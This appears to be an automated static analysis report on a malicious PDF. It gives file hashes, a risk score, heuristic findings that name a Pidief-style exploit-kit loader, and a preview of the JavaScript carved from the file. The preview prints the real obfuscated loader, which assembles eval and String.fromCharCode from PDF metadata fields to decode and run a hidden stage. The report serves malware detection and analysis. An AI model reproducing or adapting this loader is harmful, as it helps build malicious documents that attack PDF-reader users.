Malicious PDF — malware analysis report

Static analysis result for SHA-256 45621f3c7e0c994a…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2013-09-08
MD5: 506054f4c3f0a6806f75ee8aa7012ebc SHA-1: 535ab317ccf293d9d8ae55bcafc6592d4b85921f SHA-256: 45621f3c7e0c994ac6a455f5867ee1f7112879dca7ef91b262ed9c6054518040
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB04F 476 bytes
SHA-256: 6c58c733b4a7d1397fccc7b0a0da48c902f6f7f223833218d9c2b4911ce2bd21
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
qsio=e(v[4]+'i'.concat(v[4],t));
q=qsio[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
bnn=e(e('d'));
sub=v[0];
sub+='ubject';
q=qsio[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	yjy = 1*(q[i]);
	i++;
	yjy -= (-1)*(q[i]);
	s2 += bnn(yjy);
	i++;
}
e(s2);

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